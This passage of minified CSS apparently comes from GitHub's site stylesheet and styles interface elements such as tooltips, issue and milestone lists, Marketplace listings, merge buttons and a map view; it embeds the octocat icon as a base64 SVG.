.axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison .title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form .toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu [aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent !important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend .map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus .marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame 